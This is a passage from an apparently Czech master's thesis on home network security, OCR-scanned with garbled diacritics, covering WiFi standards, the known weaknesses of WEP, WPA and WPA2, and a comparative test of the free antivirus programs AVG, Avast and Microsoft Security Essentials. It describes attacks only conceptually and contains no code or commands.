(router+WiFi AP), plati pro bezpecnost WiFi routeru to samé jako pro obyc¢ejny router plus
zabezpeceni WiFi sité, ktera ma oproti klasické siti néktera sva specifika. Domaci Wifi
routery vyuzivaji pro datové ptenosy mikrovinou technologii postavenou na standardu
IEEE802.11. Levnégjsi zatizeni vyuZzivaji pasmo okolo 2,4GHz, drazsi potom pasmo 5Ghz.
V soucasné dob¢ je pasmo 2,4Ghz, zvlasté v hustych aglomeracich, jiz pomérné pretizené
a to nejen kvuli velké hustoté WiFi siti, ale mize zde dochézet i k interferencim s dalSimi
zafizenimi jako jsou mikrovinné trouby, bluetooth ¢i bezdratové domadci telefony. Tyto
interference lze snizit nalezenim vhodného vysilaciho kandlu, kterych je u standarda
IEEE802.11b/g/n (2,4Ghz) na vybér 14 a kazdy piedstavuje mirnou odchylku ve vysilacim
pasmu. Naopak pfistroje pracujici v pasmu 5Ghz, nejen ze tento problém nemaji, ale diky
pouzivanému standardu IEEE802.11a maji vétsi povoleny vyzatovany vykon, coz se miize

pozitivné projevit na kvalité vysilaného signalu. [33][34]

Bezpec€nostni riziko pouziti WiFi sit€¢ je ziejmé, protoze v takové siti neexistuji
zadné kabely a data se Sifi volné vzduchem. Kdokoli vybaveny WiFi sitovou kartou
pracujici v daném frekvenénim pasmu muize zachytavat nasi sitovou komunikaci, anebo se
dokonce do nasi sité pfipojit. Snaha o pfiblizeni bezpecnosti béznych kabelovych siti dala
vzniknout hned nékolika zabezpeCovacim standardim. Mezi ty nejzndméjsi a

nepouzivangjsi patiti WEP, WPA a WPA2.
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Rok Pasmo Maximilni Fyzicka Dosah Dosah
Standard dani [GHz] rychiost vrstva venku vevnitr
vy [Mbit/s]
puvodni DSSS
|EEE 802.11 1997 2.4 2 FHSS N/A
IEEE 802.11a 1999 5 54 OFDM | ~100 ft/30 m | ~50 ft/15 m
IEEE 802.11b 1999 2,4 11 DSSS | ~300 ft/90 m | ~150 ft/45 m
IEEE 802.11g 2003 2,4 54 OFDM | ~300 ft/90 m | ~150 ft/45 m
IEEE 802.11n 2009 | 2,4nebo5 600 MIMO | 600 ft/182m | 300 ft/91 m
IEEE 802.11y 2008 3,7 54 N/A N/A N/A
Tabulka ¢&. 3: Piehled standardi IEEE 802.115
3.2.1 WEP

Zabezpeceni typu WEP, neboli Wired Equivalent Privacy by se volné dalo pteloZit
jako ,stejné bezpecné jako kabel“. Bylo vyvinuto v roce 1997 a o dva roky pozdéji ptijato
jako oficidlni zabezpeceni bezdratového komunika¢niho standartu IEEE802.11.
K samotnému koédovani je vyuzivana proudova Sifra RC4 (Rivest Cipher 4, neboli
Rivestova Sifra 4), vyvinutd vroce 1987 Ronem Rivestem. Pro ovéfeni spravnosti
pfenesené informace se vyuzivd metody kontrolniho souctu CRC-32. Kédovani WEP se

pak rozliSuje v zavislosti na délce Sifrovaciho klice na 64bit, 128bit a 256bit verzi.
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V domacich routerech se nejcastéji pouziva 128bit verze s délkou kli¢e 104 bitd. Tento kli¢
je tvoten fadou dvaceti Sesti hexadecimalnich ¢isel, pricemz kazdy znak reprezentuje

4 bity kodu. Zbylych 24 bith je pak obsazeno inicializaénim vektorem IV, délka tohoto
vektoru je shodna pro vSechny typy WEP zabezpeceni. Pro nazornost pak lze matematicky
slozeni WEP-104, jak je tato verze oznacovana, vyjadrit takto: (26 x 4 = 104 bith) + 24 1V
bity = 128bit WEP kli¢

keystream
MW+ Key —w | RC4 |[—=| 0O 1 0 1
I_q._d'
seed $
Flain text - 1 1 0 0

11010} 1
Cipher text

Obrazek ¢. 7:,,Basic WEP encryption: RC4 keystream XORed with plaintext“[BS]
(schéma zakladniho WEP $ifrovani)
[http://en.wikipedia.org/wiki/File:Wep-crypt-alt.svg]

Zpisob ovérovani

U zabezpeceni pomoci WEP se pouzivaji dvé znacné rozdilné metody ovéteni
klienta pro pfistup do WiFi sité. Jedna se o metody Open System a Shared Key.

Pfi pouziti metody Open System de facto k zadnému skutecnému ovéieni
nedochazi. Klient se pouze u Access Pointu prokaze tim, ze skutecné¢ pouziva kdédovani
WEP a pak je vpustén do sité. Samotny WEP kli¢ je pak pouzivan pouze pro Sifrovani dat
proudicich v siti. Zna¢nou nevyhodu piedstavuje fakt, ze se do sit€ mize piipojit kazdy s
jakymkoli WEP kli¢em, coz se hodi spiSe pro sité v kavarnach nebo vetejnych
prostranstvich, ale rozhodné ne pro domaci sit’.

Druhd metoda Shared Key (sdileny kli¢) naopak kontroluje pomoci metody ,,four-
way challenge-response handshake“ shodu WEP kli¢e klienta s WEP kli¢em ulozenym
Vv routeru a pouze V ptipad€ shody je klient vpustén do sit€. Samotna kontrola, jak uz nazev

napovida, probiha ve ¢tyfech krocich:
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1. Klient odesle zadost o ovéfeni ptistupovému bodu.

2. Access Point odesle zpét nekddovany text vyzvy.

3. Klient zasifruje ptijaty text pomoci svého WEP klice a posle jej zpét k ovéteni
Access Pointu.

4. Access Point desifruje pfijatou zpravu podle svého WEP klice a srovnava ji S
textem zaslanym klientovy v bodu 2. Pokud se texty shoduyji, je klient nasledné

vpustén do sité.

Dalsi komunikace v siti je pak Sifrovana stejné jako v pfipadé metody Open
System.
[35][36][3]

Bezpecnostni rizika

Jednim z nejvétSich bezpeCnostnich rizik, kterym WEP celi, je skuteCnost, Ze
Sifrovaci kli¢ neni dostatecné dlouhy, aby obstal pfi ochrané siti s vyS$im traficem. Tento
fakt se sice snazili vyrobci odstranit prodlouzenim uzivatelem zadavané ¢asti klice, avSak
inicializa¢ni vektor je pro vSechny verze pouhych 24biti. Pokud chceme, aby byla
proudové Sifra G¢innd, nemél by se zadny Sifrovany datovy rdmec (frame) V idedlnim
piipadé nikdy opakovat. S 24biti dlouhym inicializanim vektorem se vSak
s pravdépodobnosti 50% zopakuje ptiblizné kazdy 5000ty ramec. Této slabiny vyuzival 1
desifrovaci algoritmus, ktery publikoval Scott Fluhrer, Itsik Mantin a Adi Shamir v roce
2001, kdy pouze pasivnim zachytavanim pakett byli schopni pti dostatecném traficu v siti
schopni zjistit WEP kli¢ za méné nez jednu minutu. Casem se dokonce vyvinula
pokrocilejsi aktivni verze utoku, kdy Utocnik je schopen uméle stimulovat trafic v siti a
urychlit tak prolomeni kdédu. V dnesni dobé je tato metoda jiz na takové rovni, Ze uto¢nik
je schopen dekodovat WEP komunikaci v realném ¢ase a to do pouhé jedné minuty od

zachyceni prvniho paketu. [35]
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Pravdépodobnost ziskani WEP klice

Délka WEP klice 64 bita 128 bitt
Pocet zachycenych
paketd
40000 50% -
60000 80% -
85000 95% )
1,5 mil ~100% 95%
2 mil ~100% ~100%

Tabulka ¢. 4: Pravdépodobnost ziskani WEP klice

v zavislosti na poétu zachycenych paketal>" 1]

Dalsi slabinou WEP je samotny princip, kdy u metody Shared Key vSichni
uzivatel¢ sdileji jeden a ten samy klic. V ptipad¢€ jeho uniku pak nelze dostate¢né rychle a
efektivné reagovat, natoz najit ptipadného vinika. Paradoxem také je, ze napohled
bezpecnéjsi metoda Shared Key ve skuteCnosti neni bezpecnéjsi, nez metoda volného
pristupu do sité Open System. Existuje totiz zptisob jak odvodit keystream pouzivany pii
handshaku (navazovani spojeni) zachycenim challange framu pouzivaného pti autentifikaci
klienta u Acces Pointu. Utoénik pak je nejen schopen se do sité ptipojit, ale zaroven

dekodovat veskerou vnéjsi komunikaci.

Po zjisténi slabiny v podobé inicializa¢nich vektort zapocali prace na vyvoji
nového zabezpeceni pro komunikaéni standart IEEE802.111 nesouci nazev WEP2, ktery
byl zalozen na stejném Sifrovacim algoritmu jako ptedchozi verze, byla vSak prodlouzena
délka klice 1 inicializacniho vektoru a to shodné na 128 bitii. Jak se ale postupem doby
vynotovali dal$i a dal$i nedostatky pivodniho WEP, od vyvoje se nakonec upustilo a byl

zapocat vyvoj plnohodnotného nastupce v podobé zabezpeeni WPA. [37]
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3.2.2 WEP+ a dynamic WEP

Vyse uvedené slabiny vedly ke vzniku nékterych neoficidlnich mutaci WEP
zabezpeceni. NejzndméjSimi verzemi v této oblasti jsou ,,WEP+*“ a ,Dynamic WEP*.
Mutace WEP+ byla vyvinuta Agere Systems a zamétfuje se predevSim na odstranéni
slabiny tykajici se 24 bitového inicializacniho vektoru, ktery byl asi nejvétsi slabinou
originalni verze. Vyhody zabezpeceni WEP+ jsou v podstaté dvé. Je zpétné kompatibilni
s pivodnim WEP a druhou bezesporu nejvétsi vyhodou je fakt, Ze tento typ zabezpeceni
nebyl do dneSni doby prolomen. AvSak pro jeho spravné fungovani je zapotiebi, aby
vSichni Ucastnici sitového provozu pouzivali WEP+. Pokud by totiz jen jeden jediny
¢lanek sit¢ komunikoval pomoci piivodniho WEP, ztraci toto opatfeni smysl. A vzhledem
ktomu, ze WEP+ neni oficidlnim zabezpeCovacim standardem pro zadnou verzi
IEEE802.11, nelze jeho pouzivani u vSech prvki sité¢ zarucit. Dynamic WEP se zase snazi
vylepsit piivodni zabezpeceni pfidanim funkce dynamické zmény WEP klich v €ase. Stejné
jako u WEP+ se vSak nejednéd o zadny piijaty bezpecnosti standard a ve svych produktech

ho vyuzivaji jen nékteti vyrobci jako tfeba firma 3Com. [36] [40]

3.2.3 WPA

Zabezpeceni WPA, neboli ,,WiFi Protected Access*“(volné pielozeno jako ,, WiFi
Chranény Piistup®), vzniklo jako doCasnd nahrada za jiz prolomené a zna¢né€ nevyhovujici
zabezpeceni WEP, do doby nez bude pIné¢ dokoncen standart IEEE802.111 . Samotné
Sifrovani pak probiha stejné jako u zabezpeceni WEP pomoci proudové Sifry RC4.
Zmeénila se vSak délka klice, ktery byl prodlouzen na 128 biti a i1 inicializacni vektor
doznal zmén, kdyZ byl prodlouzen na rovnych 48 bitii. Kompletné¢ byla predélana metoda
kontroly integrity dat. V dfive pouzivané metodé kontrolnitho souctu CRC-32 byla
nalezena zavaznd bezpecnostni chyba, kdy byl uto¢nik schopen pozménit zpravu a
kontrolni soucet a to 1 bez znalosti WEP klice. U WPA tak byla nahrazena metodou MIC,
neboli ,,Message Integrity Code* (volné pielozeno jako ,Kod Integrity Zpravy®),
vyuzivajici pro kontrolu integrity algoritmus zvany Michael. Tato metoda zaroven

obsahuje ochranu proti uméle vyvolanému zvyseni traficu v siti a ztézuje tak odposlech
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sit¢ za UCelem zachyceni paketli s pfibuznymi kli¢i, coz by mohlo mit za nasledek
prolomeni klice stejné, jak tomu bylo u star§tho WEP. Dalsi podstatnou novinkou ve WPA
je pouziti TKIP, neboli ,,Temporal Key Integrity Protocol®, coz by se dalo voln¢ pieloZit
jako ,,Protokol Docasné Integrity Klice®. Jedna se o systém dynamické zmény klici ne

nepodobny tomu pouzitému u ,,dynamic WEP* zabezpeceni.

Vsechny zminéné zmény mély pomérné velky vliv. na kompatibilitu s
doposud pouzivanym hardware. V piipadé klientd (WiFi sitovych karet) ve veétSiné
pripada postacil upgrade firmware. U acces pointd ale byly zmény natolik zasadni, Ze neni

zaru¢ena kompatibilita s AP routery vyrobenymi pied rokem 2003.

Podobné¢ jako WEP 1 zabezpeCeni WPA je navrzeno pro provoz ve dvou rezimech.
Zatimco rezim Shared key, zde nazvany PSK (Pre Shared Key), nedoznal od pouZiti
v zabezpeeni WEP zasadnich zmén, reZim Open system byl nahrazen reZimem
pouzivajicim autorizacni server IEEE802.11X. Jednd se urcité¢ zatim o nejbezpecné;si
rezim, kdy jsou jednotlivym uzivatelim ptidélovany rozdilné unikatni kli¢e. Tento rezim je
vSak pro domacnosti pievazné zekonomického hlediska nedostupny, pocita totiz

S potizenim externiho RADIUS serveru, ktery zminiovany ,.key management* zajistuje.

I kdyz WPA nebylo zatim zcela prolomeno, bylo jiz objeveno nékolik pomérné
zévaznych bezpecnostnich dér. Vinu na tom maji pfedevsim slabiny v metod¢ dynamické
zmény klice TKIP, které v roce 2008 objevili némecti vyzkumni pracovnici Erik Tews a
Martin Beck. Zjistili, Z2 WPA ma diky TKIP nékterd bezpecnostni rizika podobna tém
objevenych v zabezpeceni WEP. Dokézali tfeba zachytit a dekodovat nékteré druhy paketii
nesoucich systémové informace o provozu Vv siti. To sice nevedlo piimo k prolomeni klice,
ale byli schopni takto ziskat keystream, diky cemuz pak bylo mozné ménit tieba piijemce
paketd a to nejen v ramci LAN sité, ale byli schopni tyto pakety smérovat i na pc stanice
nalézajici se v internetu a to vie do pouhych dvaceti minut od za¢atku ttoku. Utok bylo
mozné realizovat pouze pokud byla v siti pouzivana sluzba QoS (Quality of Service).
Pozdé&ji byl tento utok vylepsen japonskymi védci Toshihiro Ohigashikou a Masakatu
Moriim, ktefi Gtok optimalizovali do té miry, Ze jej bylo mozné realizovat do jedné minuty

a 1 bez zapnuté sluzby QoS. Zatim nejvétsi bezpecnostni diru ve WPA objevil v roce 2010

40



Martin Beck, kdy objevil metodu jak rozsifrovat veskerou datovou komunikaci ve sméru
od AP ke klientovi. Tomuto druhu utoku vSak lze zamezit vypnutim sluzby QoS nebo
pouzivanim WPA s Sifrovanim EAS (Advanced Encryption Standard).

[36][37]1[38][41][4]

3.2.4 WPA2

Po wplném dokonceni WiFi standartu IEEE802.11i uz nic nebranilo vzniku
plnohodnotné¢ho nastupce WEP Vv podobé zabezpeceni WPA2, které jiz na rozdil od
piredchoziho WPA implementuje vSechny prvky IEEE802.11i. Nejvétsi slabina WPA
vV podobe¢ protokolu TKIP je zde nahrazena protokolem CCMP (Counter Mode with Cipher
Block Chaining Message Authentication Code Protocol) a Sifrovani je realizovano pomoci
standardu AES (Advanced Encryption Standard), ktery je reprezentovan belgickou
blokovou $ifrou i v dne$ni dobé povazovanou za neprolomitelnou. Po upravé firmware
star§ich AP routert je AES schopno spolupracovat i se star§im WPA a tim zacelit jeho
nejvetsi bezpeCnostni slabiny. V soucasné dobé jiz je udélovana certifikace WiFi pouze

zafizenim podporujici AES.

Co se tyka kompatibility s hardware je na tom WPA2 jesté o néco hife nez WPA.
Kuptikladu na Windows XP je totiz nutné aplikovat zaplatu potfebnou pro podporu
WPA2. Konkuren¢ni Apple zase garantuje spravnou funkci az pro stanice s AirPort
Extreme. Ani to vSak neznamend jistotu, ze budou starSi WiFi karty toto zabezpeceni
podporovat. U Acces pointu je situace prakticky stejna jako u WPA. Pozitivnim z hlediska
zpétné kompatibility je fakt, ze nékteré routery jsou schopny provozovat WPA a WPA2
spole¢né v takzvaném ,mixed modu“. Tento rezim vSak nemlZe byt povazovan

Z bezpecnostniho hlediska za ekvivalentni nativnimu WPAZ2.

Diky vSem zminénym vylepSenim se tak nejvétSim bezpecnostnim rizikem pii
pouziti WPA2 stava, z hlediska domaciho vyuziti nejzajimavéjsi, rezim PSK, na ktery Ize
aplikovat takzvané Utoky hrubou silou (,,brute force®). Jednd se o Utoky vyuzivajici
algoritmy typujici a odvozujici heslo do takto zabezpecené sité. Proto je bezpodminecné

nutné pouzivat dostatené ,,silna* hesla, coz néktefi uzivatelé casto podcetuji. Heslo je u
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rezimu PSK tvofeno 8 az 63 ASCII znaky, pficemz, aby bylo schopné odolat utoku hrubou
silou, mélo by byt tvofeno alesponn péti spojenymi nahodnymi slovy, nebo obsahovat
nejméne 14 zcela ndhodnych pismen. Maximalni ochrana v tomto rezimu vyzaduje kli¢
obsahujici 54 nahodnych pismen nebo 39 ndhodnych ASCII znakti. Nékteti vyrobei routerti
se snazi rizika spojena se slabym heslem odstranit zabudovanim softwarového, ¢i
hardwarového mechanismu generujiciho zuzivatelem zadaného kratkého hesla
automaticky heslo silné. Mezi firmou WiFi Aliance, coz je firma vlastnici ochrannou
znamku WiFi, schvalen¢ mechanismy tohoto druhu patfi napiiklad Broadcom
SecureEasySetup a Buffalo AirStation One-Touch Secure System.

[36][371[38][41]

4 Vlastni prace

Kapitola piedstavuje n€které hlavni analytické nastroje pro odhalovani bezpe¢nostnich
rizik v siti. Prvni ¢ast je v€novana vybéru vhodného antivirového software, druha pak
monitorovani sit¢, odposlechu paketti a prolomeni béznych WiFi zabezpeceni. Déle se
kapitola zaméfuje na potvrzeni, ¢i vyvraceni nékterych teoretickych predpokladi z tteti

kapitoly diplomové prace, predevsim tykajicich se zabezpeceni bezdratovych siti.

4.1 Hodnoceni antivirového software

Otestovana byla tfi u nas velice popularni antivirova feSeni. Jelikoz byla vybirana
pro pouziti v domdci sitich, byl pii jejich vybéru kladen diraz na minimalizaci
pofizovacich nakladd. Prvni dva antivirové softwary AVG Anti-Virus Free Edition 2012
od firmy AVG Technologies a AVAST od firmy AVAST Software jsou pro domaci
vyuziti zcela zdarma. Tteti feSeni Microsoft: Security Essentials od firmy Microsoft je pak

zdarma pro uZivatele s legalni kopii operacnich systému xp/2000/Vista/7.
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Testovani probihalo dle uvedené metodiky v druhé kapitole prace a testovaci sestava

m¢éla nasledujici parametry:

CPU: Intel Atom 270@ 1,6 GHz
2GB RAM

HDD: 250GB@ 5400 rpm

OS: Windows XP SP3

Vsechny programy byly v dobé testovani ve své aktudlni verzi a obsahovaly

nejnovejsi dostupnou virovou databazi. Jejich blizsi specifikace jsou nasledujici:

AVG Anti-Virus Free Edition 2012
e verze programu: AVG 2012 0.193
e virova databaze: 2114/4899
e verze komponenty LinkScanner: 954

Avast! Free Antivirus 7
e verze programu: 7.0.1426
e virova databaze: 12031-0
e pocet definic 3 137 408

Microsoft: Security Essentials 2.1
e verze programu: 2.1
e virova databaze: 1.123.832.0
e verze definice spywaru 1.123.832.0
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4.1.1 Vybava

Kritérium ,,Vybava“ hodnoti, jak pestrou nabidku funkci jednotliva antivirova

feSeni nabizi. Celkové skore programt pro toto kritérium zachycuje graf €. 1.

m MSE
M Avast

HAVG

0 1 2 3 4 5 6 7 8 9 10
Body (vice je lépe)

Graf ¢. 1: Skore AV programu v kategorii ,,Vybava“

AVG Anti-Virus Free Edition 2012

Antivirovy software AVG je distribuovan v 24 jazykovych mutacich a sklada se
celkem ze Sesti komponent, pficemz zakladni patef programu tvoii sada tii testd a
rezidentni §tit. Testovaci sada se skldda z testu celého pocitace, testu pouze vybranych
soubortl a sloZzek a anti-rootkit testu. Rezidentni §tit je tvofen komponentami ,,Antivirus* a
,ldentity Protection®. Prvni jmenovand komponenta ma na starosti ochranu pted
vSemoznymi druhy malware, jako jsou trojské koné, wormy, viry, spyware a adware.
Druhd komponenta pak kontroluje chovani jednotlivych procesti b&zicich v systému a
snazi se rozpoznat piipadné podezielé chovani béZicich programi.

Déle AVG obsahuje komponentu ,,E-mailova ochrana®, kterd by meéla blokovat
viry a utoky typu phishing. Komponenta je implementovéana pfimo do poStovniho klienta

MS Outlook, nebo je schopna piimo kontrolovat poStovni protokoly jako je SMTP, POP3 a
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IMAP. Pro blokovani nevyzadané posty, nebo-li spamu, je jiz ale nutné upgradovat na
placenou verzi programu.

Dalsi komponentou, kterou AVG nabizi, je tak zvany ,,LinkScanner®, kterd ma
uzivatele chranit proti skrytym downloadim pfi prochazeni webu a déle zabranovat
zneuziti riznych exploitli s touto ¢innosti souvisejicich.

Posledni komponentou je pak ,,PC Analyzer”. Ten dokaZe najit a odstranit chyby
Vv registrech, nepotiebné soubory na disku, nebo neplatné zastupce na plose. Dale umi
analyzovat stav fragmentace disku a vyfeSit pfipadné problémy. A¢ se jedna ve vsech
piipadech o systémové nastroje jiz obsazené v operacnim systému Windows, jejich
piehlednad implementace do programu AVG ur€ité neni na Skodu a napoméha udrzet PC
V lepSim stavu.

Pti instalaci AVG se také defaultné nainstaluje do vychoziho prohlize¢e webu lista
»AVG security Toolbar®, pfi¢emz se jedna asi o nejvice nadbyteCnou cast baliku. Zatimco
integrace ,,PC Analyzeru®“ mize napomoci rychlej§imu chodu pocitace, zminiovana liSta
naopak pouze zpomaluje start webového prohlizeCe a zbyteCné zabira misto v operacni
paméti. Samotna liSta nabizi plugin umoziujici rychly pfistup na facebook, webovy
vyhledavac¢ a odkazy na programy jako je pozndmkovy blok a kalkulacka.

Do celkového vybaveni také musime zapocitat velmi dobie zpracovanou historii
provedenych testi, historii nastalych udélosti a moznost planovani automatickych testi.

Program taky podporuje jistou variantu cloud computingu, kdy jsou timto
zpusobem online analyzovany zatim neznamé, ale potencialn¢ nebezpecné soubory.

Celkové lze vybaveni AVG, obzvlasté pokud vezmeme v uvahu free povahu

licence, povazovat za nadstandardni.

Avast! Free Antivirus 7

Antivirovy software obsahuje 40 jazykovych mutaci, coz je dokonce o 6 vice nez
v ptipadé¢ AVG. Stejné jako v piipadé AVG i zde je obsazen Cesky jazyk. Antivirus je
tvofen tfemi hlavnimi druhy testl a Sesti druhy rezidentnich §titd. Prvni ,rychly test®,
testuje systémovy disk, automaticky spousténé programy a pfitomnost rootkitti. Druhy je
Luplny test systému®, kdy je navic testovan obsah operacni paméti a cely HDD. Poslednim
testem je pak mozné testovat samostatné soubory a slozky. Avast také nabizi antivirovy

test po restartu pocitace, kdy je PC testovano jesté¢ pred Uplnym nataZenim operacniho
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systému. Tento test se ukdzal jako velice ucinny, jelikoz je schopen detekovat a zneskodnit
virovou nakazu jesté pied jejim spusténim s operacnim systémem. Ptfipadny malware se
tak nemtze proti odstranéni efektivné branit.

Nabizené zékladni sluzby jsou podobné jako u AVG. Jsou to kupiikladu mailovy
Stit, behavioralni §tit, $tit souborového systému, obdoba sluzby ,,LinkScanner a cloudové
sluzby. Avast vSak nabizi i n€které dalsi sluzby, které AVG nenabizi. Za zminku stoji pak
predev§im moznost prace v sandboxu, sitovy §tit sledujici sitovou aktivitu a plnohodnotny
webovy §tit, ktery byl u AVG dostupny pouze v placené verzi. Mezi doplikove sluzby pak
patii URL filtr a moZnost pfipojeni ke vzdalené ploSe, u této funkce si nejsem presné jist
jejim piidanym uzitkem, jelikoz supluje jednu ze sluzeb OS Windows. Secteno a podrzeno

- Avast ve vybave pred svou konkurenci jasné zvitezil.

Microsoft: Security Essentials 2.1 (MSE)

Antivirové feSeni od spolecnosti Microsoft je distribuovano ve 33 jazycich a cesky
jazyk je vnich opét zahrnut. Samotny antivirus se sklada ze tii antivirovych testl a
rezidentniho S§titu. Jak je uvedeno na webovych stankach produktu ,,Rychla kontrola
zkontroluje oblasti, které skodlivy software vcetné virt, spyware a nevyzadaného software
S nejvetsi pravdépodobnosti inﬁkuje.“[43] Uplna kontrola je uréena ke kontrole celého
pevného disku a pomoci ,,vlastni“ kontroly je mozné kontrolovat jednotlivé soubory a
slozky. VSechny druhy testi by mély byt schopny odhalit i pfipadné rootkity. Rezidentni
Stit je schopen kontroly souborového systému a stejné jako Avast kontroly sit¢.

Ve vybavé antiviru nalezneme klasické funkce jako historii kontrol, moznost
vylouceni souborti a procesii, nebo spolupraci s cloudem. Navic jako jediné testované
feSeni, MSE nabizi moznost vytvofeni bodu obnoveni systému, coz povazuji ur€ité za plus.
Vybava je jinak oproti konkurenci pomérné strohd a neobsahuje kuptikladu ani samostatny

modul na kontrolu elektronické posty, ¢i sandbox.
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4.1.2 Pouzitelnost

Kritérium ,,Pouzitelnost™ hodnoti celkovou pfivétivost antivirového programu
k uzivateli. Patii sem prvky jako intuitivnost ovladani, srozumitelnost rozhrani, logické
usporadani ovladacich prvki a $ife moznosti nastaveni programu. Celkové skore programil

pro toto kritérium zachycuje graf ¢. 2.

= MSE
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Graf ¢. 2: Skore AV programu v kategorii ,,Pouzitelnost*

AVG Anti-Virus Free Edition 2012

UZivatelské rozhrani antiviru AVG je velice dobfe vyvedeno, je pfehledné a hlavné
intuitivni. Menu je pfehledné a logicky strukturované a uZivatel hned na prvni pohled vidi
jaky je aktudlni stav pocitace. Jedinou vytkou v tomto ohledu miize byt fakt, Ze po stisknuti
tlacitka pro aktualizaci virové databaze se neobjevi Zadny indikéator zobrazujici, v jaké fazi
se aktualizace nachazi, ba i dokonce samotné tlaCitko ,,aktualizovat® nezmizi. Tento fakt
milZe byt pro uZivatele pon¢kud matouci.

Samotna kontrola pocitace je otdzkou par kliknuti a zvladne ji uplné kazdy, coz je
urcité plus. Za minus ovSem povazuji fakt, Ze jako defaultni akce po nalezeni ndkazy je

nastaveno jeji okamzité odstranéni z disku. To miiZe mit, pfedev§im pokud se bude jednat
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o takzvané ,(false positive (faleSné pozitivni) nalez, za nasledek pomérné nepiijemné
komplikace v krajnich pfipadech kon¢icich az reinstalaci programu ¢i dokonce systému.
Pro zkusengj$i uzivatele je tu samoziejmé moznost nastavit cely program podle
svych pozadavkl. Nastaveni je opravdu spousta od nastaveni jaké soubory do testu
zahrnout, ¢i nezahrnout az po nastaveni citlivosti testu. PriCemz s vys$i citlivosti se sice
zvysuje celkova u¢innost antiviru, ale také roste riziko jiz zminovanych falesné pozitivnich
nalez. V programu je také mozné nakonfigurovat aktualizace pro proxy pfipojeni, ¢i
z antivirovych testll vyloucit konkrétni soubory a slozky. Za zminku takeé stoji velmi dobie
zpracovana historie testli a prohlize¢ udalosti. Velmi uzite¢nou funkci je také moznost

vypnuti vSech funkci AVG jednim kliknutim.

Na prvni pohled viditelnd zména ptichazi pii prochdzeni webu, kdy pfi pouziti
vyhleddvaci Google, Bing, Yahoo, Live, nebo 1 Seznam.cz se vedle nalezenych odkazl
zobrazuje 1 mira jejich divéryhodnosti. Ta je sice vyhodnocovana pouze na zaklad¢ white
a black listii (neni zaloZena na analyze kdédu webové stranky), ale 1 tak se jedna urcité o
piinosnou funkci.

Nasli se ovSem 1 negativa. Prvni véc, ktera clovéka pomérné neptijemné piekvapi,
je nutnost instalace antiviru v online rezimu. Instalaitor ma totiz pouhych 3,6MB a
nainstaluje pouze jakési instala¢ni rozhrani, které z internetu dotahne jesté pfiblizné dalSich
100MB. Tento druh instalatoru mi ptipada ponékud nest’astné zvoleny, jelikoz zavirovany
pocitac se ¢asto k internetu ani ptipojit nemize. Dale implementace anti-rootkit testu jako
samostatné komponenty je pon¢kud zvlastni, obzvlast kdyz cely test zabere okolo dvou

minut. UZivatel pak mtize snadno tento druh testu opominout.

Avast! Free Antivirus 7

Avast oproti AVG lze nainstalovat i bez ptipojeni na internet, coz je urcité pozitivni
zjiSténi. Samotné testovani je stejné jako u AVG velmi snadné a je otdzkou nékolika
kliknuti. Vychozi akce pfi nalezeni malware je, pokud se nejedna o vysoké ohrozeni - pak

je virus rovnou smazan, nastavena na ,;rozhodne uzivatel“, kdy uZzivatel sdm urci jak dal
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postupovat. Bohuzel z néjakého diivodu takto neni nastaven i rezidentni §tit, ktery nalezeny
malware rovnou maze.

Pokrocilé nastaveni je jesté obsahlejsi nezu AVG a v problematice zb&hli uzivatelé
tak budou mit dost prostoru si s nastavenim vyhrat. Celkova intuitivnost ovladani a
struktura jednotlivych menu mi ovSem nepfisla tak dobra jako u AVG. Predevsim néktera
pokrocild nastaveni je nutné hledat schovana v riznych podsekcich, naproti tomu u AVG
bylo veskeré nastaveni prehledné na jednom misté.

Dulezité¢ je také zminit fakt, ze pokud chce mit uzivatel ptistup k nejnovéjSim
aktualizacim softwaru a virové databaze, musi se do 30ti dnli bezplatné registrovat do

online databaze.

Microsoft: Security Essentials 2.1

MSE uz pfi instalaci ptekvapi opravdu malym instalaénim archivem, ktery
ma piesné¢ 8 MB. O to vétSim piekvapenim je fakt, Ze instalace nevyzaduje piipojeni
K internetu. Rozhrani programu je pomérné minimalisticky pojato, ovSem je velice
piehledné a uz na prvni pohled je vidét, zda je pocitac zabezpecen, Ci se vyskytl n¢jaky
problém. Provedeni antivirové kontroly je také velice jednoduché a lze ho uskutecnit
pomoci par kliknuti mySi. Vychozi akce pfi nalezeni malvware je nastavena na ,,zvoli
uzivatel®, kdy je mozné soubor smazat, 1éCit, ¢i presunout do trezoru. Menu je piehledné a
vSechna nastaveni jsou k nalezeni v jedné sekci. V nastaveni je pak mozné nastavit vychozi
akce pro 4 druhy bezpecCnostnich rizik rozdélenych dle zavaznosti. Jinak jsou ovSem
moznosti nastaveni oproti konkurenci vyrazné¢ chudsi. I pfesto mé v oblasti pouzitelnosti
MSE z testovanych feSeni oslovilo asi nejvice. Navic program spolupracuje s archivem
malware, ktery je umistén na stankach spoleCnosti Miscrosoft, kde se lze podrobnéji

informovat o nalezenych hrozbach a jejich chovani.

4.1.3 Rychlost

Kritériem ,,Rychlost je zamyslen Cas, ktery antivirus potiebuje ke kontrole celého
pocitace. Tento Cas je pfimo umérny priorité procesu skenovaciho modulu, ktery antivirus

pouziva k nalezeni ndkazy. Kazdy testovany antivirus mél néjakym zplsobem
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implementovano fizeni priority tohoto procesu. Aby bylo mozné pfimé srovnani rychlosti
skenovani jednotlivych antiviri, byla nastavena kazdému skenovacimu modulu nejvyssi
priorita.

Pro ziskani ptesnéjSich vysledkt byly s kazdym antivirem provedeny celkem ctyti
kontroly a vysledny ¢as se pak rovna priméru vSech C&tyf méfeni. Vysledky jsou
k dispozici v tabulce €. 5, celkové skore programii pro toto kritérium pak zachycuje graf ¢
3.

0,92 1,98 6,5
0,75 1,25 5,5
0,11 1,08 6
0,60 1,15 5,9
pramér 0,76 1,16 5,975

Tabulka ¢. 5: Méreni doby skenovani celého systému
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Graf ¢&. 3: Skore AV programii v kategorii ,,Rychlost*

50



AVG Anti-Virus Free Edition 2012

Celkové casy testovani se pohybovaly mezi piilhodinou a hodinou. Jedno méteni
mélo dokonce hodnotu necelych sedm minut, to bylo ovSem jako odlehlé pozorovani

Z testu vylouceno.

Avast! Free Antivirus 7

Doba vétsiny provedenych kontrol se pohybovala okolo jedné hodiny. Jeden test
trval dokonce hodiny dvé, ten byl vSak z celkového hodnoceni vytazen jako odlehlé
pozorovani. Program také podporoval test pred nabootovanim Windows, ten trval ptiblizné
tf1 hodiny. Jelikoz se vSak nejedna o standardni druh testu a ostatni antivirové programy ho

nepodporovaly, nebyl do vysledkt zapocitan.

Microsoft: Security Essentials 2.1

MSE potieboval ze vSech antivirovych programli pro kompletni kontrolu systému
nejdelsi dobu, ta se pohybovala okolo Sesti hodin. Na vysledku se dozajisté podepsal fakt,
